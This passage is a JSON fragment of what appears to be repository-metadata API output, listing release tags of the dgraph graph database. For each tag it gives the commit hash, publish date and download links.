GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.4.1/manifests"},{"name":"v25.4.0","sha":"a796c8420b5fda671e0a0f8cb76f474945e31c50","kind":"commit","published_at":"2026-07-30T18:01:14.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.4.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.4.0/manifests"},{"name":"v25.3.8","sha":"59eefd193d32ab85751f236a112c0307f0d6b998","kind":"commit","published_at":"2026-07-09T00:23:00.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.3.8","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.3.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.8/manifests"},{"name":"v25.3.8-preview1","sha":"751e08493a0a0893b1b56ff34a45e027bc982929","kind":"commit","published_at":"2026-07-08T18:54:16.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.3.8-preview1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.3.8-preview1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.3.8-preview1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.8-preview1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.8-preview1/manifests"},{"name":"v25.3.7","sha":"e30a0d3f45b7b03cd359f6d0ca9447f9e2163522","kind":"commit","published_at":"2026-06-25T17:25:25.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.3.7","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.7/manifests"},{"name":"v25.3.6","sha":"af14b3f943f05ab24665ebe4020928d4cb4f3dda","kind":"commit","published_at":"2026-06-19T20:33:22.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.3.6","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.6/manifests"},{"name":"v25.3.5","sha":"aba579acea0c6426dc64e78f64b857ad1c90db3e","kind":"commit","published_at":"2026-06-11T22:06:56.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.3.5","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.5/manifests"},{"name":"v25.4.0-preview1","sha":"918262cdca6982647854fd04be5735e2a0d22067","kind":"commit","published_at":"2026-05-26T12:46:25.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.4.0-preview1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.4.0-preview1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.4.0-preview1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.4.0-preview1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.4.0-preview1/manifests"},{"name":"v24.1.9","sha":"b53c5555ba6c994a2a2db0411eadafd63ff02c7e","kind":"commit","published_at":"2026-05-11T20:58:34.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1.9","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.9/manifests"},{"name":"v25.3.4","sha":"cee702c93f141eeb0c96a81f70830ec9e459efac","kind":"commit","published_at":"2026-05-11T20:39:09.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.3.4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.4/manifests"},{"name":"v24.1.8","sha":"36b3d75188ad17ca9a27bceb75d4a97f7b64dda8","kind":"commit","published_at":"2026-04-21T20:47:15.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1.8","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.8/manifests"},{"name":"v25.3.3","sha":"55e3b79817e87512297695f7dccae86130d0c81e","kind":"commit","published_at":"2026-04-21T19:50:45.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.3.3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.3/manifests"},{"name":"v24.1.7","sha":"9afc9170430e56ac2942754af0695fb19fa6592e","kind":"commit","published_at":"2026-04-13T20:48:04.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1.7","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.7/manifests"},{"name":"v25.3.2","sha":"0b73e611c14b436e9fd516c1ae56a47b46888fb1","kind":"commit","published_at":"2026-04-13T20:26:45.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.3.2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.2/manifests"},{"name":"v24.1.6","sha":"86d7606019b5624752559c0774bafe276c680906","kind":"commit","published_at":"2026-04-01T21:39:24.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1.6","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.6/manifests"},{"name":"v25.3.1","sha":"b15c87e9353e36618bf8e0df3bd945c0ce7105ef","kind":"commit","published_at":"2026-04-01T21:08:54.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.3.1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.1/manifests"},{"name":"v25.3.1-preview-federation-changes","sha":"bdeb5d8ba96be6cadc6ca33c8e887ecd38645ae6","kind":"commit","published_at":"2026-03-20T19:50:56.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.3.1-preview-federation-changes","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.3.1-preview-federation-changes","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.3.1-preview-federation-changes","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.1-preview-federation-changes","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.1-preview-federation-changes/manifests"},{"name":"v25.3.0","sha":"788883001e1049d6c482fd1053b730a9a02a54d5","kind":"commit","published_at":"2026-03-06T03:18:02.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.3.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.0/manifests"},{"name":"v25.3.0-preview-no-maxprocs","sha":"0571fb7f6fcdc41a1944cf4e3ddc3c544f33a275","kind":"commit","published_at":"2026-02-16T19:12:32.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.3.0-preview-no-maxprocs","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.3.0-preview-no-maxprocs","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.3.0-preview-no-maxprocs","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.0-preview-no-maxprocs","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.3.0-preview-no-maxprocs/manifests"},{"name":"v25.2.0","sha":"1d4b617e797310b0ae7df7fb92be3de2d53ca707","kind":"commit","published_at":"2026-01-29T00:23:32.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.2.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.2.0/manifests"},{"name":"v25.1.0","sha":"a4e752fd4416fa3abca21da9b0bedd2af2e64bcc","kind":"commit","published_at":"2025-12-11T23:35:53.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.1.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.1.0/manifests"},{"name":"v25.1.0-preview1","sha":"d28f8faeb233ca4aac782b151fda894665e50e1e","kind":"commit","published_at":"2025-12-04T23:17:22.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.1.0-preview1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.1.0-preview1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.1.0-preview1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.1.0-preview1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.1.0-preview1/manifests"},{"name":"v25.0.0","sha":"e6980befe54103c67f353ffaa311345747ebb147","kind":"commit","published_at":"2025-10-06T13:36:13.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.0.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0/manifests"},{"name":"v24.1.5","sha":"8d1c9826574cbc73f8ec27506349eebdfd947f6e","kind":"commit","published_at":"2025-09-12T08:39:25.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1.5","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.5/manifests"},{"name":"v24.1.4","sha":"4128279739cf54d99b91322880df7c944b6ef166","kind":"commit","published_at":"2025-08-11T13:52:35.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1.4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.4/manifests"},{"name":"v24.1.4-test1","sha":"d395549e869ae0faf7d7829cd6e3bba29cd333bd","kind":"commit","published_at":"2025-07-28T19:19:57.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1.4-test1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1.4-test1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1.4-test1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.4-test1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.4-test1/manifests"},{"name":"v25.0.0-shingles5","sha":"748ddf0ead8a1bea9efb8b45304425b7fda35116","kind":"commit","published_at":"2025-07-21T04:10:12.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.0.0-shingles5","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.0.0-shingles5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.0.0-shingles5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-shingles5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-shingles5/manifests"},{"name":"v25.0.0-shingles4","sha":"77c4aa6668a4e1a5bfab957e80e35d976bc946cc","kind":"commit","published_at":"2025-07-17T05:00:37.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.0.0-shingles4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.0.0-shingles4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.0.0-shingles4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-shingles4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-shingles4/manifests"},{"name":"v25.0.0-shingles3","sha":"c515d0c468beee826caf0897e5f782937e5e34d6","kind":"commit","published_at":"2025-07-15T17:12:50.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.0.0-shingles3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.0.0-shingles3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.0.0-shingles3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-shingles3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-shingles3/manifests"},{"name":"v25.0.0-shingles2","sha":"2f906ed41e84ad9af798cada6ec496a8625605cf","kind":"commit","published_at":"2025-07-15T12:38:34.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.0.0-shingles2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.0.0-shingles2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.0.0-shingles2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-shingles2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-shingles2/manifests"},{"name":"v25.0.0-shingles","sha":"b10f1af3eecfe8098b256e4a975c4ca1f1af226e","kind":"commit","published_at":"2025-07-09T05:04:13.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.0.0-shingles","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.0.0-shingles","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.0.0-shingles","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-shingles","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-shingles/manifests"},{"name":"v25.0.0-split-vector3","sha":"86b2df294b71ed0d16b267f6ceaed4cbd90a81e2","kind":"commit","published_at":"2025-07-04T20:28:30.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.0.0-split-vector3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.0.0-split-vector3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.0.0-split-vector3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-split-vector3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-split-vector3/manifests"},{"name":"v25.0.0-split-vector2","sha":"91b443b0d0646fa6a337925373909f6d48f114cc","kind":"commit","published_at":"2025-06-26T03:32:47.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.0.0-split-vector2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.0.0-split-vector2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.0.0-split-vector2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-split-vector2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-split-vector2/manifests"},{"name":"v25.0.0-split-vector","sha":"f11dd240161c5b9bba6d03847229bad332332169","kind":"commit","published_at":"2025-06-26T02:29:03.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.0.0-split-vector","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.0.0-split-vector","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.0.0-split-vector","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-split-vector","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-split-vector/manifests"},{"name":"v25.0.0-preview6","sha":"26ddaa8ec7368b32c3fb7c8cd2bb23a8f705fd27","kind":"commit","published_at":"2025-06-24T05:36:48.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.0.0-preview6","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.0.0-preview6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.0.0-preview6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-preview6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-preview6/manifests"},{"name":"v25.0.0-preview5","sha":"8df04d08727f43d7573e586b20eb2ceea9f90ea1","kind":"commit","published_at":"2025-06-24T02:47:56.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.0.0-preview5","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.0.0-preview5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.0.0-preview5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-preview5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-preview5/manifests"},{"name":"v25.0.0-custom-qt-improv-2","sha":"d348167e48374c97793535271cf4fdfe42309ae6","kind":"commit","published_at":"2025-06-06T16:40:49.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.0.0-custom-qt-improv-2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.0.0-custom-qt-improv-2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.0.0-custom-qt-improv-2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-custom-qt-improv-2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-custom-qt-improv-2/manifests"},{"name":"v25.0.0-custom-qt-improv-1","sha":"691b0d9e04941686de3087247cb795e331c843ea","kind":"commit","published_at":"2025-06-05T04:44:24.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.0.0-custom-qt-improv-1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.0.0-custom-qt-improv-1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.0.0-custom-qt-improv-1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-custom-qt-improv-1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-custom-qt-improv-1/manifests"},{"name":"v24.1.3","sha":"291fc12c2f329b7afd662d0a72f61fd990bc32a3","kind":"commit","published_at":"2025-05-23T02:53:15.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1.3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v24.1.3/manifests"},{"name":"v25.0.0-preview4","sha":"684cbb26326f590acf577ddd0a3db571f7f15967","kind":"commit","published_at":"2025-05-21T19:58:51.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.0.0-preview4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.0.0-preview4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.0.0-preview4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-preview4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-preview4/manifests"},{"name":"v25.0.0-preview3","sha":"8013efd662fcc690dc9d32009ff19e75db3ccec8","kind":"commit","published_at":"2025-05-19T21:21:40.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.0.0-preview3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.0.0-preview3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.0.0-preview3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-preview3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-preview3/manifests"},{"name":"v25.0.0-preview2","sha":"0a99f615b5512b49e9e83dfdcf0ad39ed698581b","kind":"commit","published_at":"2025-05-13T17:19:05.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.0.0-preview2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.0.0-preview2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.0.0-preview2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-preview2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-preview2/manifests"},{"name":"v25.0.0-preview1","sha":"e01eebdf79626aa4cc22d15d910b1fc2b32ba259","kind":"commit","published_at":"2025-04-18T04:03:26.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.0.0-preview1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.0.0-preview1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.0.0-preview1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-preview1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.0.0-preview1/manifests"},{"name":"v24.1.2","sha":"a3d13aa821827d3dfb4366bcfe6ec728ad0e7bc7","kind":"commit","published_at":"2025-03-31T12:58:37.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v24.1.2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v24.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v24.1